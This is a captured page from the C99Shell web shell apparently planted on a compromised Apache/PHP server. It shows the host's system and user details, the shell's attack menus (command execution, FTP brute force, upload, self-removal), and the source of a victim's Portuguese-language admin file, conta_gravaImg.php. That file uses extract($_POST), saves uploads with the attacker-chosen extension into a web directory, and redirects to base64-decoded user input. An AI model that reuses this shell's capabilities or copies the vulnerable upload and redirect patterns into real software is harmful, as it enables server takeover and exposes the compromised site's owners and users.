!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/contas/   drwxr-xr-x
Free 9.43 GB of 93.48 GB (10.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     conta_gravaImg.php (1.69 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
header
("Content-Type: text/html;  charset=utf-8",true);
header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // Data já vencida

include("../../config/config.php");
include(
INCLUDES "inc_Funcoes.php");
include(
INCLUDES "inc_Conexao.php");
include(
INCLUDES "valida_usuario.inc.php");

    
extract($_POST);

    
$irPara base64_decode($chamou);
    
$hoje=date('Y-m-d');
    
$idCon $CON_RowID;

    
$conta->CON_RowID $CON_RowID;

    
$documento $_FILES['CON_ImgDoc'];
    if (
$documento['name'] != '') {

        
$sqlMax "
                SELECT MAX(CON_RowID + 1)as CON_RowID
                FROM FUN_ContasInternas
                limit 1"
;

        
$max executa($sqlMax);
        foreach(
$max as $max1) {
            
$nome $max1['CON_RowID'];
        }

        
$extensao strtolower(end(explode("."$documento['name'])));
        
$imgDocumento $nome.'.'.$extensao;

        
$caminho_imagem "documentos/" $imgDocumento;
        
move_uploaded_file($documento["tmp_name"], $caminho_imagem);

        
$conta->CON_ImgDoc $imgDocumento;
    }

    
mysql_query("BEGIN");

    if (
salva("FUN_ContasInternas",$conta)) {

        
$erro false;

        if (
$idCon == '')
            
$idCon mysql_insert_id();

    } else {

        
$erro true;
        echo 
mysql_error();

    }

    if (
$erro) {
        
mysql_query("ROLLBACK");
        
$msg 'Problema para alterar a Conta! Por favor, tente novamente!';
    } else {
        
mysql_query("COMMIT");
        
$msg 'Conta alterada com SUCESSO!';
    }
?>
<script type="text/javascript">
    alert('<?= $msg?>');
    if ('<?= !$erro?>') {
        parent.location = "<?= $irPara?>";
    } else {
        parent.location = history.go(-1);
    }
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0039 ]--